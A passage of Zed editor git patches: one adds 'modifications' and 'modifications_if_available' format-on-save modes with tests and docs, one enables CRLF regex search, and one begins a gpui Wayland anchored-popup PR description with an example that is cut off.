diff --git a/crates/editor/src/items.rs b/crates/editor/src/items.rs
index 4e97c8c3fe3552..4acdb10ff7560a 100644
--- a/crates/editor/src/items.rs
+++ b/crates/editor/src/items.rs
@@ -19,12 +19,14 @@ use gpui::{
 };
 use language::{
     Bias, Buffer, BufferRow, CharKind, CharScopeContext, HighlightedText, LocalFile, PLAIN_TEXT,
-    Point, SelectionGoal, proto::serialize_anchor as serialize_text_anchor,
+    Point, SelectionGoal,
+    language_settings::{FormatOnSave, LanguageSettings},
+    proto::serialize_anchor as serialize_text_anchor,
 };
 use lsp::DiagnosticSeverity;
 use multi_buffer::{BufferOffset, MultiBufferOffset, PathKey};
 use project::{
-    File, Project, ProjectItem as _, ProjectPath, lsp_store::FormatTrigger,
+    File, Project, ProjectItem as _, ProjectPath, git_store::GitStore, lsp_store::FormatTrigger,
     project_settings::ProjectSettings, search::SearchQuery,
 };
 use rope::TextSummary;
@@ -39,7 +41,7 @@ use std::{
     path::{Path, PathBuf},
     sync::Arc,
 };
-use text::{BufferId, BufferSnapshot, OffsetRangeExt, Selection};
+use text::{BufferId, BufferSnapshot, OffsetRangeExt, Selection, ToPoint as _};
 use ui::{IconDecorationKind, prelude::*};
 use util::{ResultExt, TryFutureExt, paths::PathExt, rel_path::RelPath};
 use workspace::item::{Dedup, ItemSettings, SerializableItem, TabContentParams};
@@ -974,16 +976,21 @@ impl Item for Editor {
 
         cx.spawn_in(window, async move |this, cx| {
             if options.format {
-                this.update_in(cx, |editor, window, cx| {
-                    editor.perform_format(
-                        project.clone(),
+                let format_task = this.update_in(cx, |editor, window, cx| {
+                    let format_target = compute_format_target(
+                        &buffers_to_save,
                         format_trigger,
-                        FormatTarget::Buffers(buffers_to_save.clone()),
-                        window,
+                        editor.buffer(),
+                        project.read(cx).git_store(),
                         cx,
-                    )
-                })?
-                .await?;
+                    );
+                    format_target.map(|target| {
+                        editor.perform_format(project.clone(), format_trigger, target, window, cx)
+                    })
+                })?;
+                if let Some(format_task) = format_task {
+                    format_task.await?;
+                }
             }
 
             if !buffers_to_save.is_empty() {
@@ -2267,6 +2274,115 @@ fn chunk_search_range(
     }))
 }
 
+/// Decides what to format based on the `format_on_save` settings of the saved buffers.
+///
+/// In the modifications modes, only lines with unstaged changes are formatted.
+/// When no git diff is available for a buffer, `modifications` skips formatting while `modifications_if_available`
+/// falls back to formatting entire buffers.
+/// When a diff is available but empty, nothing is formatted in either mode.
+fn compute_format_target(
+    buffers: &HashSet<Entity<Buffer>>,
+    trigger: FormatTrigger,
+    multi_buffer: &Entity<MultiBuffer>,
+    git_store: &Entity<GitStore>,
+    cx: &App,
+) -> Option<FormatTarget> {
+    if trigger == FormatTrigger::Manual {
+        return Some(FormatTarget::Buffers(buffers.clone()));
+    }
+
+    let multi_buffer_snapshot = multi_buffer.read(cx).snapshot(cx);
+    let git_store = git_store.read(cx);
+
+    let mut fall_back_to_full_format = false;
+    let mut modified_ranges: Vec<Range<Point>> = Vec::new();
+
+    for buffer_entity in buffers.iter() {
+        let buffer = buffer_entity.read(cx);
+        let settings = LanguageSettings::for_buffer(buffer, cx);
+        match settings.format_on_save {
+            FormatOnSave::On | FormatOnSave::Off => {
+                return Some(FormatTarget::Buffers(buffers.clone()));
+            }
+            FormatOnSave::Modifications | FormatOnSave::ModificationsIfAvailable => {}
+        }
+
+        let Some(diff_snapshot) = git_store
+            .get_unstaged_diff(buffer.remote_id(), cx)
+            .map(|diff| diff.read(cx).snapshot(cx))
+        else {
+            if settings.format_on_save == FormatOnSave::ModificationsIfAvailable {
+                fall_back_to_full_format = true;
+            }
+            continue;
+        };
+
+        let anchor_ranges = compute_modified_ranges(&buffer.snapshot(), &diff_snapshot);
+        let flat_anchors = anchor_ranges
+            .iter()
+            .flat_map(|range| [range.start, range.end])
+            .collect::<Vec<_>>();
+        let multi_buffer_anchors =
+            multi_buffer_snapshot.text_anchors_to_visible_anchors(flat_anchors);
+        for pair in multi_buffer_anchors.chunks_exact(2) {
+            let (Some(start), Some(end)) = (&pair[0], &pair[1]) else {
+                continue;
+            };
+            modified_ranges
+                .push(start.to_point(&multi_buffer_snapshot)..end.to_point(&multi_buffer_snapshot));
+        }
+    }
+
+    if fall_back_to_full_format {
+        Some(FormatTarget::Buffers(buffers.clone()))
+    } else if modified_ranges.is_empty() {
+        None
+    } else {
+        Some(FormatTarget::Ranges(modified_ranges))
+    }
+}
+
+/// Computes the buffer ranges that have unstaged changes, expanded to full lines and
+/// with adjacent hunks merged, for use with format-on-save. An empty result means the
+/// buffer has no formatable modifications.
+fn compute_modified_ranges(
+    buffer_snapshot: &language::BufferSnapshot,
+    diff_snapshot: &buffer_diff::BufferDiffSnapshot,
+) -> Vec<Range<text::Anchor>> {
+    let mut merged: Vec<Range<text::Anchor>> = Vec::new();
+    for hunk in diff_snapshot.hunks(buffer_snapshot) {
+        let range = hunk.buffer_range;
+        if range.start.cmp(&range.end, buffer_snapshot).is_eq() {
+            // Deletion-only hunks produce no buffer content to format.
+            continue;
+        }
+        let start_point = range.start.to_point(buffer_snapshot);
+        let end_point = range.end.to_point(buffer_snapshot);
+        let start_row = start_point.row;
+        let end_row = if end_point.column == 0 && end_point.row > start_point.row {
+            end_point.row - 1
+        } else {
+            end_point.row
+        };
+        let line_start = text::Point::new(start_row, 0);
+        let line_end = text::Point::new(end_row, buffer_snapshot.line_len(end_row));
+        let expanded =
+            buffer_snapshot.anchor_before(line_start)..buffer_snapshot.anchor_after(line_end);
+
+        if let Some(last) = merged.last_mut() {
+            let last_end_point = last.end.to_point(buffer_snapshot);
+            if start_row <= last_end_point.row + 1 {
+                if expanded.end.to_point(buffer_snapshot) > last_end_point {
+                    last.end = expanded.end;
+                }
+                continue;
+            }
+        }
+        merged.push(expanded);
+    }
+    merged
+}
+
 #[cfg(test)]
 mod tests {
     use crate::editor_tests::init_test;
@@ -2921,4 +3037,124 @@ mod tests {
             "Editor::deserialize should not add items to panes as a side effect"
         );
     }
+
+    #[gpui::test]
+    fn test_compute_modified_ranges_git_diff(cx: &mut gpui::TestAppContext) {
+        let base_text = "line0\nline1\nline2\nline3\nline4\nline5\nline6\n";
+        // Modify line1 and line5 to create two non-adjacent hunks.
+        let buffer_text = "line0\nMOD1\nline2\nline3\nline4\nMOD5\nline6\n";
+
+        let buffer = cx.new(|cx| language::Buffer::local(buffer_text, cx));
+        let diff_snapshot = buffer.update(cx, |buffer, cx| {
+            let diff = cx.new(|cx| {
+                buffer_diff::BufferDiff::new_with_base_text(base_text, &buffer.text_snapshot(), cx)
+            });
+            diff.read(cx).snapshot(cx)
+        });
+
+        let ranges = buffer.update(cx, |buffer, _cx| {
+            compute_modified_ranges(&buffer.snapshot(), &diff_snapshot)
+        });
+
+        assert_eq!(ranges.len(), 2, "expected 2 non-adjacent ranges");
+
+        buffer.update(cx, |buffer, _cx| {
+            let text_snapshot: &text::BufferSnapshot = buffer;
+            let r0 = ranges[0].start.to_point(text_snapshot)..ranges[0].end.to_point(text_snapshot);
+            let r1 = ranges[1].start.to_point(text_snapshot)..ranges[1].end.to_point(text_snapshot);
+            assert_eq!(r0.start.row, 1, "first hunk should start at row 1");
+            assert_eq!(r0.end.row, 1, "first hunk should end at row 1");
+            assert_eq!(r1.start.row, 5, "second hunk should start at row 5");
+            assert_eq!(r1.end.row, 5, "second hunk should end at row 5");
+        });
+    }
+
+    #[gpui::test]
+    fn test_compute_modified_ranges_unchanged_buffer(cx: &mut gpui::TestAppContext) {
+        let buffer_text = "line0\nline1\nline2\n";
+        let buffer = cx.new(|cx| language::Buffer::local(buffer_text, cx));
+        let diff_snapshot = buffer.update(cx, |buffer, cx| {
+            let diff = cx.new(|cx| {
+                buffer_diff::BufferDiff::new_with_base_text(
+                    buffer_text,
+                    &buffer.text_snapshot(),
+                    cx,
+                )
+            });
+            diff.read(cx).snapshot(cx)
+        });
+
+        let ranges = buffer.update(cx, |buffer, _cx| {
+            compute_modified_ranges(&buffer.snapshot(), &diff_snapshot)
+        });
+
+        assert_eq!(
+            ranges,
+            Vec::new(),
+            "buffer that matches its diff base should produce no modified ranges"
+        );
+    }
+
+    #[gpui::test]
+    fn test_compute_modified_ranges_deletion_only(cx: &mut gpui::TestAppContext) {
+        let base_text = "line0\nline1\nline2\n";
+        // Buffer has line1 deleted (pure deletion).
+        let buffer_text = "line0\nline2\n";
+
+        let buffer = cx.new(|cx| language::Buffer::local(buffer_text, cx));
+        let diff_snapshot = buffer.update(cx, |buffer, cx| {
+            let diff = cx.new(|cx| {
+                buffer_diff::BufferDiff::new_with_base_text(base_text, &buffer.text_snapshot(), cx)
+            });
+            diff.read(cx).snapshot(cx)
+        });
+
+        // Verify the diff has a deletion hunk.
+        let hunk_count = buffer.update(cx, |buffer, _cx| {
+            let text_snapshot: &text::BufferSnapshot = buffer;
+            diff_snapshot.hunks(text_snapshot).count()
+        });
+        assert!(hunk_count > 0, "diff should have hunks");
+
+        let ranges = buffer.update(cx, |buffer, _cx| {
+            compute_modified_ranges(&buffer.snapshot(), &diff_snapshot)
+        });
+
+        assert_eq!(
+            ranges,
+            Vec::new(),
+            "deletion-only hunks should be skipped, leaving no ranges"
+        );
+    }
+
+    #[gpui::test]
+    fn test_compute_modified_ranges_adjacent_hunks(cx: &mut gpui::TestAppContext) {
+        let base_text = "line0\nline1\nline2\nline3\nline4\n";
+        // Modify lines 2 and 3 which are adjacent; they should merge into one range.
+        let buffer_text = "line0\nline1\nMOD2\nMOD3\nline4\n";
+
+        let buffer = cx.new(|cx| language::Buffer::local(buffer_text, cx));
+        let diff_snapshot = buffer.update(cx, |buffer, cx| {
+            let diff = cx.new(|cx| {
+                buffer_diff::BufferDiff::new_with_base_text(base_text, &buffer.text_snapshot(), cx)
+            });
+            diff.read(cx).snapshot(cx)
+        });
+
+        let ranges = buffer.update(cx, |buffer, _cx| {
+            compute_modified_ranges(&buffer.snapshot(), &diff_snapshot)
+        });
+
+        assert_eq!(
+            ranges.len(),
+            1,
+            "adjacent hunks (rows 2 and 3) should be merged into one range"
+        );
+        buffer.update(cx, |buffer, _cx| {
+            let text_snapshot: &text::BufferSnapshot = buffer;
+            let r = ranges[0].start.to_point(text_snapshot)..ranges[0].end.to_point(text_snapshot);
+            assert_eq!(r.start.row, 2, "merged range should start at row 2");
+            assert_eq!(r.end.row, 3, "merged range should end at row 3");
+        });
+    }
 }
diff --git a/crates/migrator/src/migrations/m_2025_10_02/settings.rs b/crates/migrator/src/migrations/m_2025_10_02/settings.rs
index 8942008e63219b..bb2a5bbb299fa8 100644
--- a/crates/migrator/src/migrations/m_2025_10_02/settings.rs
+++ b/crates/migrator/src/migrations/m_2025_10_02/settings.rs
@@ -14,9 +14,9 @@ fn remove_formatters_on_save_inner(value: &mut Value, path: &[&str]) -> Result<(
     let Some(format_on_save) = obj.get("format_on_save").cloned() else {
         return Ok(());
     };
-    let is_format_on_save_set_to_formatter = format_on_save
-        .as_str()
-        .map_or(true, |s| s != "on" && s != "off");
+    let is_format_on_save_set_to_formatter = format_on_save.as_str().map_or(true, |s| {
+        s != "on" && s != "off" && s != "modifications" && s != "modifications_if_available"
+    });
     if !is_format_on_save_set_to_formatter {
         return Ok(());
     }
diff --git a/crates/project/src/lsp_store.rs b/crates/project/src/lsp_store.rs
index 1555a25dd21d38..f9e563ccdb39a2 100644
--- a/crates/project/src/lsp_store.rs
+++ b/crates/project/src/lsp_store.rs
@@ -1733,9 +1733,13 @@ impl LocalLspStore {
 
         let formatters = match (trigger, &settings.format_on_save) {
             (FormatTrigger::Save, FormatOnSave::Off) => &[],
-            (FormatTrigger::Manual, _) | (FormatTrigger::Save, FormatOnSave::On) => {
-                settings.formatter.as_ref()
-            }
+            (FormatTrigger::Manual, _)
+            | (
+                FormatTrigger::Save,
+                FormatOnSave::On
+                | FormatOnSave::Modifications
+                | FormatOnSave::ModificationsIfAvailable,
+            ) => settings.formatter.as_ref(),
         };
 
         let formatters = code_actions_on_format_formatters
@@ -1763,6 +1767,7 @@ impl LocalLspStore {
                 &adapters_and_servers,
                 &settings,
                 request_timeout,
+                trigger,
                 logger,
                 cx,
             )
@@ -1783,6 +1788,7 @@ impl LocalLspStore {
         adapters_and_servers: &[(Arc<CachedLspAdapter>, Arc<LanguageServer>)],
         settings: &LanguageSettings,
         request_timeout: Duration,
+        trigger: FormatTrigger,
         logger: zlog::Logger,
         cx: &mut AsyncApp,
     ) -> anyhow::Result<()> {
@@ -1925,23 +1931,22 @@ impl LocalLspStore {
                 };
 
                 let Some(language_server) = language_server else {
-                    log::debug!(
-                        "No language server found to format buffer '{:?}'. Skipping",
-                        buffer_path_abs.as_path().to_string_lossy()
+                    zlog::debug!(
+                        logger =>
+                        "No language server found to format buffer {buffer_path_abs:?}. Skipping",
                     );
                     return Ok(());
                 };
 
                 zlog::trace!(
                     logger =>
-                    "Formatting buffer '{:?}' using language server '{:?}'",
-                    buffer_path_abs.as_path().to_string_lossy(),
+                    "Formatting buffer {buffer_path_abs:?} using language server {:?}",
                     language_server.name()
                 );
 
                 let edits = if let Some(ranges) = buffer.ranges.as_ref() {
                     zlog::trace!(logger => "formatting ranges");
-                    Self::format_ranges_via_lsp(
+                    let range_edits = Self::format_ranges_via_lsp(
                         &lsp_store,
                         &buffer.handle,
                         ranges,
@@ -1951,8 +1956,38 @@ impl LocalLspStore {
                         cx,
                     )
                     .await
-                    .context("Failed to format ranges via language server")?
-                    .unwrap_or_default()
+                    .context("Failed to format ranges via language server")?;
+
+                    match range_edits {
+                        Some(edits) => edits,
+                        None => {
+                            if trigger == FormatTrigger::Save
+                                && settings.format_on_save == FormatOnSave::ModificationsIfAvailable
+                            {
+                                zlog::debug!(
+                                    logger =>
+                                    "Falling back to full format - LSP does not support range formatting"
+                                );
+                                Self::format_via_lsp(
+                                    &lsp_store,
+                                    &buffer.handle,
+                                    buffer_path_abs,
+                                    &language_server,
+                                    &settings,
+                                    cx,
+                                )
+                                .await
+                                .context("failed to format via language server")?
+                            } else {
+                                zlog::debug!(
+                                    logger =>
+                                    "Skipping range format - language server {:?} does not support range formatting",
+                                    language_server.name()
+                                );
+                                Vec::new()
+                            }
+                        }
+                    }
                 } else {
                     zlog::trace!(logger => "formatting full");
                     Self::format_via_lsp(
diff --git a/crates/settings/src/settings_store.rs b/crates/settings/src/settings_store.rs
index 29d9f91dc6b56a..ae63dbe75fcf5b 100644
--- a/crates/settings/src/settings_store.rs
+++ b/crates/settings/src/settings_store.rs
@@ -2461,6 +2461,148 @@ mod tests {
             .unindent(),
             cx,
         );
+
+        // formatOnSave: true with formatOnSaveMode: modificationsIfAvailable
+        check_vscode_import(
+            &mut store,
+            r#"{
+            }
+            "#
+            .unindent(),
+            r#"{ "editor.formatOnSave": true, "editor.formatOnSaveMode": "modificationsIfAvailable" }"#
+                .to_owned(),
+            r#"{
+              "base_keymap": "VSCode",
+              "minimap": {
+                "show": "always"
+              },
+              "format_on_save": "modifications_if_available"
+            }
+            "#
+            .unindent(),
+            cx,
+        );
+
+        // formatOnSave: true with formatOnSaveMode: modifications
+        check_vscode_import(
+            &mut store,
+            r#"{
+            }
+            "#
+            .unindent(),
+            r#"{ "editor.formatOnSave": true, "editor.formatOnSaveMode": "modifications" }"#
+                .to_owned(),
+            r#"{
+              "base_keymap": "VSCode",
+              "minimap": {
+                "show": "always"
+              },
+              "format_on_save": "modifications"
+            }
+            "#
+            .unindent(),
+            cx,
+        );
+
+        // formatOnSave: true with formatOnSaveMode: file
+        check_vscode_import(
+            &mut store,
+            r#"{
+            }
+            "#
+            .unindent(),
+            r#"{ "editor.formatOnSave": true, "editor.formatOnSaveMode": "file" }"#.to_owned(),
+            r#"{
+              "base_keymap": "VSCode",
+              "minimap": {
+                "show": "always"
+              },
+              "format_on_save": "on"
+            }
+            "#
+            .unindent(),
+            cx,
+        );
+
+        // formatOnSaveMode is ignored when formatOnSave is disabled, as in VS Code
+        check_vscode_import(
+            &mut store,
+            r#"{
+            }
+            "#
+            .unindent(),
+            r#"{ "editor.formatOnSave": false, "editor.formatOnSaveMode": "modifications" }"#
+                .to_owned(),
+            r#"{
+              "base_keymap": "VSCode",
+              "minimap": {
+                "show": "always"
+              },
+              "format_on_save": "off"
+            }
+            "#
+            .unindent(),
+            cx,
+        );
+
+        // formatOnSaveMode alone does nothing, as formatOnSave defaults to false in VS Code
+        check_vscode_import(
+            &mut store,
+            r#"{
+            }
+            "#
+            .unindent(),
+            r#"{ "editor.formatOnSaveMode": "modifications" }"#.to_owned(),
+            r#"{
+              "base_keymap": "VSCode",
+              "minimap": {
+                "show": "always"
+              }
+            }
+            "#
+            .unindent(),
+            cx,
+        );
+
+        // formatOnSaveMode not set, formatOnSave: true
+        check_vscode_import(
+            &mut store,
+            r#"{
+            }
+            "#
+            .unindent(),
+            r#"{ "editor.formatOnSave": true }"#.to_owned(),
+            r#"{
+              "base_keymap": "VSCode",
+              "minimap": {
+                "show": "always"
+              },
+              "format_on_save": "on"
+            }
+            "#
+            .unindent(),
+            cx,
+        );
+
+        // formatOnSaveMode not set, formatOnSave: false
+        check_vscode_import(
+            &mut store,
+            r#"{
+            }
+            "#
+            .unindent(),
+            r#"{ "editor.formatOnSave": false }"#.to_owned(),
+            r#"{
+              "base_keymap": "VSCode",
+              "minimap": {
+                "show": "always"
+              },
+              "format_on_save": "off"
+            }
+            "#
+            .unindent(),
+            cx,
+        );
     }
 
     #[track_caller]
diff --git a/crates/settings/src/vscode_import.rs b/crates/settings/src/vscode_import.rs
index 9b8584c4e6ba15..0d2f5511430a48 100644
--- a/crates/settings/src/vscode_import.rs
+++ b/crates/settings/src/vscode_import.rs
@@ -554,9 +554,15 @@ impl VsCodeSettings {
             extend_comment_on_newline: None,
             extend_list_on_newline: None,
             indent_list_on_tab: None,
-            format_on_save: self.read_bool("editor.guides.formatOnSave").map(|b| {
-                if b {
-                    FormatOnSave::On
+            // In VS Code, `editor.formatOnSaveMode` only applies when `editor.formatOnSave` is enabled.
+            format_on_save: self.read_bool("editor.formatOnSave").map(|enabled| {
+                if enabled {
+                    self.read_enum("editor.formatOnSaveMode", |s| match s {
+                        "modificationsIfAvailable" => Some(FormatOnSave::ModificationsIfAvailable),
+                        "modifications" => Some(FormatOnSave::Modifications),
+                        _ => None,
+                    })
+                    .unwrap_or(FormatOnSave::On)
                 } else {
                     FormatOnSave::Off
                 }
diff --git a/crates/settings_content/src/language.rs b/crates/settings_content/src/language.rs
index f31ef08e1d2381..71beec78f7d6c4 100644
--- a/crates/settings_content/src/language.rs
+++ b/crates/settings_content/src/language.rs
@@ -923,12 +923,22 @@ pub struct PrettierSettingsContent {
     strum::VariantArray,
     strum::VariantNames,
 )]
-#[serde(rename_all = "lowercase")]
+#[serde(rename_all = "snake_case")]
 pub enum FormatOnSave {
     /// Files should be formatted on save.
     On,
     /// Files should not be formatted on save.
     Off,
+    /// Only lines with unstaged changes are formatted on save.
+    /// Requires source control and LSP range formatting support.
+    /// If no git diff is available or if the LSP doesn't support
+    /// range formatting, formatting is skipped.
+    Modifications,
+    /// Only lines with unstaged changes are formatted on save.
+    /// If no git diff is available (e.g., when source control is
+    /// unavailable) or if the LSP doesn't support range formatting,
+    /// falls back to formatting the whole file.
+    ModificationsIfAvailable,
 }
 
 /// Controls how line endings are normalized when a buffer is saved.
diff --git a/crates/settings_ui/src/page_data.rs b/crates/settings_ui/src/page_data.rs
index ba35c4875ef8dc..2f6ce0beec5b3d 100644
--- a/crates/settings_ui/src/page_data.rs
+++ b/crates/settings_ui/src/page_data.rs
@@ -8934,7 +8934,7 @@ fn language_settings_data() -> Box<[SettingsPageItem]> {
             SettingsPageItem::SectionHeader("Formatting"),
             SettingsPageItem::SettingItem(SettingItem {
                 title: "Format On Save",
-                description: "Whether or not to perform a buffer format before saving.",
+                description: "On: format the whole buffer.\nOff: do not format.\nModifications: format only lines with unstaged changes; skips formatting when a git diff or LSP range formatting is unavailable.\nModifications If Available: same, but falls back to formatting the whole buffer.",
                 field: Box::new(
                     // TODO(settings_ui): this setting should just be a bool
                     SettingField {
diff --git a/docs/src/reference/all-settings.md b/docs/src/reference/all-settings.md
index 1450b58d6fc002..2ded300ce5dc9e 100644
--- a/docs/src/reference/all-settings.md
+++ b/docs/src/reference/all-settings.md
@@ -1905,7 +1905,7 @@ While other options may be changed at a runtime and should be placed under `sett
 }
 ```
 
-## Format On Save
+## Format On Save {#format-on-save}
 
 - Description: Whether or not to perform a buffer format before saving.
 - Setting: `format_on_save`
@@ -1929,6 +1929,26 @@ While other options may be changed at a runtime and should be placed under `sett
 }
 ```
 
+3. `modifications`, formats only lines with unstaged changes:
+
+```json [settings]
+{
+  "format_on_save": "modifications"
+}
+```
+
+This mode requires source control and LSP range formatting support. If no git diff is available or if the LSP doesn't support range formatting, formatting is skipped. This is useful for editing legacy codebases where you want to avoid formatting changes in unrelated code.
+
+4. `modifications_if_available`, formats only modified lines with fallback to full file formatting:
+
+```json [settings]
+{
+  "format_on_save": "modifications_if_available"
+}
+```
+
+Similar to `modifications`, but behaves like `on` when range formatting cannot be applied: when no git diff is available (e.g., when source control is unavailable) or when the language server does not support range formatting. When a git diff is available but contains no unstaged changes, nothing is formatted.
+
 ## Formatter
 
 - Description: How to perform a buffer format.
@@ -3279,7 +3299,7 @@ Examples:
 
 - Description:
   Preview tabs allow you to open files in preview mode, where they close automatically when you switch to another file unless you explicitly pin them. This is useful for quickly viewing files without cluttering your workspace. Preview tabs display their file names in italics. \
-   There are several ways to convert a preview tab into a regular tab:
+  There are several ways to convert a preview tab into a regular tab:
 
   - Double-clicking on the file
   - Double-clicking on the tab header

From 6b733d105896a20924bd4aba87bd7baa20b62ac6 Mon Sep 17 00:00:00 2001
From: Keith Hall <keith-hall@users.noreply.github.com>
Date: Wed, 8 Jul 2026 19:56:45 +0300
Subject: [PATCH 345/772] search: Bump fancy-regex dependency and enable CRLF
 mode (#55471)

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Closes #43396

Release Notes:

- Project search now supports CRLF line endings correctly, as well as
other regex features like subroutine calls
---
 Cargo.lock                                 | 10 ++++-----
 Cargo.toml                                 |  2 +-
 crates/project/src/search.rs               |  1 +
 crates/project/tests/integration/search.rs | 26 +++++++++++++++++++++-
 4 files changed, 32 insertions(+), 7 deletions(-)

diff --git a/Cargo.lock b/Cargo.lock
index b9b4ea96158f45..3f71a7000d7f3b 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -6465,9 +6465,9 @@ dependencies = [
 
 [[package]]
 name = "fancy-regex"
-version = "0.17.0"
+version = "0.18.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "72cf461f865c862bb7dc573f643dd6a2b6842f7c30b07882b56bd148cc2761b8"
+checksum = "e1e1dacd0d2082dfcf1351c4bdd566bbe89a2b263235a2b50058f1e130a47277"
 dependencies = [
  "bit-set 0.8.0",
  "regex-automata",
@@ -14003,7 +14003,7 @@ dependencies = [
  "dap",
  "encoding_rs",
  "extension",
- "fancy-regex 0.17.0",
+ "fancy-regex 0.18.0",
  "fs",
  "futures 0.3.32",
  "fuzzy",
@@ -15066,9 +15066,9 @@ dependencies = [
 
 [[package]]
 name = "regex-automata"
-version = "0.4.13"
+version = "0.4.14"
 source = "registry+https://github.com/rust-lang/crates.io-index"
-checksum = "5276caf25ac86c8d810222b3dbb938e512c55c6831a10f3e6ed1c93b84041f1c"
+checksum = "6e1dd4122fc1595e8162618945476892eefca7b88c52820e74af6262213cae8f"
 dependencies = [
  "aho-corasick",
  "memchr",
diff --git a/Cargo.toml b/Cargo.toml
index 7a7003ec5eb1ce..916cb147fa5554 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -595,7 +595,7 @@ emojis = "0.6.1"
 env_logger = "0.11"
 encoding_rs = "0.8"
 exec = "0.3.1"
-fancy-regex = "0.17.0"
+fancy-regex = "0.18.0"
 fork = "0.4.0"
 futures = "0.3.32"
 futures-concurrency = "7.7.1"
diff --git a/crates/project/src/search.rs b/crates/project/src/search.rs
index c2804f853a359b..ccb38746a2be60 100644
--- a/crates/project/src/search.rs
+++ b/crates/project/src/search.rs
@@ -251,6 +251,7 @@ impl SearchQuery {
 
         let regex = RegexBuilder::new(&pattern)
             .case_insensitive(!case_sensitive)
+            .crlf(true)
             .build()?;
         Ok(Self::Regex {
             regex,
diff --git a/crates/project/tests/integration/search.rs b/crates/project/tests/integration/search.rs
index 79266405084d29..98cf7dc90abc3d 100644
--- a/crates/project/tests/integration/search.rs
+++ b/crates/project/tests/integration/search.rs
@@ -1,3 +1,4 @@
+use language::Buffer;
 use project::search::SearchQuery;
 use text::Rope;
 use util::{
@@ -130,6 +131,30 @@ fn test_case_sensitive_pattern_items() {
     );
 }
 
+#[gpui::test]
+async fn test_multiline_regex_crlf(cx: &mut gpui::TestAppContext) {
+    let search_query = SearchQuery::regex(
+        "^hello$\r?\n",
+        false,
+        false,
+        false,
+        false,
+        Default::default(),
+        Default::default(),
+        false,
+        None,
+    )
+    .expect("Should be able to create a regex SearchQuery");
+
+    let text = Rope::from("hello\r\nworld\r\nhello\r\nworld");
+    let snapshot = cx
+        .update(|app| Buffer::build_snapshot(text, None, None, None, app))
+        .await;
+
+    let results = search_query.search(&snapshot, None).await;
+    assert_eq!(results, vec![0..7, 14..21]);
+}
+
 #[gpui::test]
 async fn test_multiline_regex(cx: &mut gpui::TestAppContext) {
     let search_query = SearchQuery::regex(
@@ -145,7 +170,6 @@ async fn test_multiline_regex(cx: &mut gpui::TestAppContext) {
     )
     .expect("Should be able to create a regex SearchQuery");
 
-    use language::Buffer;
     let text = Rope::from("hello\nworld\nhello\nworld");
     let snapshot = cx
         .update(|app| Buffer::build_snapshot(text, None, None, None, app))

From 546a16d64fa589c737a9e33dff02a129a673b21d Mon Sep 17 00:00:00 2001
From: Philipp Schaffrath <philipp.schaffrath@gmail.com>
Date: Wed, 8 Jul 2026 21:22:23 +0200
Subject: [PATCH 346/772] gpui: Add parent-anchored native popup windows (with
 wayland xdg_popup implementation only so far) (#60232)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

# Objective

gpui can't show UI that extends past the window it belongs to. Menus,
dropdowns and tooltips are drawn as elements inside the window, so they
clip at its edges. This PR adds a window kind for platform-native popups
anchored to a parent window, as groundwork for real native menus,
dropdowns and tooltips.

## Solution

`WindowKind::AnchoredPopup(PopupOptions)` opens a popup positioned
relative to a parent window. Instead of giving the popup an absolute
position, you describe where it should go and the platform figures out
the rest:

- `parent`: the window to anchor to
- `anchor_rect`: a rectangle in the parent, e.g. the button that opened
the menu
- `anchor` and `gravity`: which point of that rect to attach to, and
which direction to grow
- `constraint_adjustment`: what the platform may do if the popup would
leave the screen (slide, flip, resize)
- `grab`: menu behavior, the popup takes focus and is dismissed when
clicking outside the app

The popup's size comes from `WindowOptions::window_bounds`.

This model mirrors Wayland's `xdg_positioner`, where the compositor owns
positioning and the client can only describe intent. Since that's the
most restrictive case, the other platforms can implement the same
description later with simple math against screen bounds.

Only Wayland is implemented so far, via `xdg_popup` on top of the
existing surface implementation. Popups can be parented to toplevels,
layer-shell surfaces (a menu opened from a panel) and other popups
(nested menus). macOS, Windows, X11 and web reject the kind with
`PopupNotSupportedError`, so callers can detect that and fall back to
in-window popovers.

Some Wayland details that might help during review:

- Anchor rects are translated from gpui coordinates into the parent's
window geometry space and clamped to it. A rect outside the geometry, or
with zero size, is a fatal protocol error
- Resizing a mapped popup goes through `xdg_popup.reposition`
- Mouse press serials are now recorded on press only, not release.
Compositors decline grabs and interactive moves that reference a release
serial

## Testing

Tested manually on Wayland with an example app: the menu opens anchored
below its button, extends past the parent window, flips above the button
near the bottom of the screen, and a grabbing popup is dismissed when
clicking into another application.

Nested menus were tested in one of my projects (ignore that they are
ugly, that's just a prototype :stuck_out_tongue:):


https://github.com/user-attachments/assets/2cd3e2e9-87f7-4b02-986f-48e5633e205c




I also have a complete runnable example demonstrating it. I did not add
it to the PR, because this might give the impression that
`WindowKind::AnchoredPopup` are a complete implementation, despite only
working on wayland so far:

<details>
  <summary>Click to view example</summary>

```rust
//! Example and manual test for platform-native popups (`WindowKind::AnchoredPopup`).
//!
//! A native popup is a real, parent-anchored window that can extend beyond its parent onto the
//! screen, unlike gpui's in-window popovers. Run it, open the menu, and confirm the points listed
//! in the window. On a platform without an implementation the button reports that popups are not
//! supported instead of opening anything.
//!
//! Run with: cargo run -p gpui --example popup

#![cfg_attr(target_family = "wasm", no_main)]

use gpui::{
    AnyWindowHandle, App, Bounds, Context, MouseButton, SharedString, Window, WindowBounds,
    WindowHandle, WindowKind, WindowOptions, div, point, popup::*, prelude::*, px, rgb, size,
};
use gpui_platform::application;

/// The trigger button, at a fixed position so the popup can anchor to a known rectangle. Real code
/// would anchor to the measured bounds of whatever element opens the popup.
const BUTTON_BOUNDS: Bounds<gpui::Pixels> = Bounds {
    origin: point(px(24.), px(24.)),
    size: size(px(200.), px(32.)),
};

const POPUP_SIZE: gpui::Size<gpui::Pixels> = size(px(260.), px(320.));

struct Menu;

impl Render for Menu {
    fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
        let item = |label: &str| {
            div()
                .id(label.to_string())
                .px_3()
                .py_1()
                .rounded_sm()
                .hover(|this| this.bg(rgb(0x3a3a3a)))
                .cursor_pointer()
                .child(label.to_string())
                .on_click(|_, window, _| window.remove_window())
        };

        div()
            .id("menu-root")
            .size_full()
            .p_1()
            .flex()
            .flex_col()
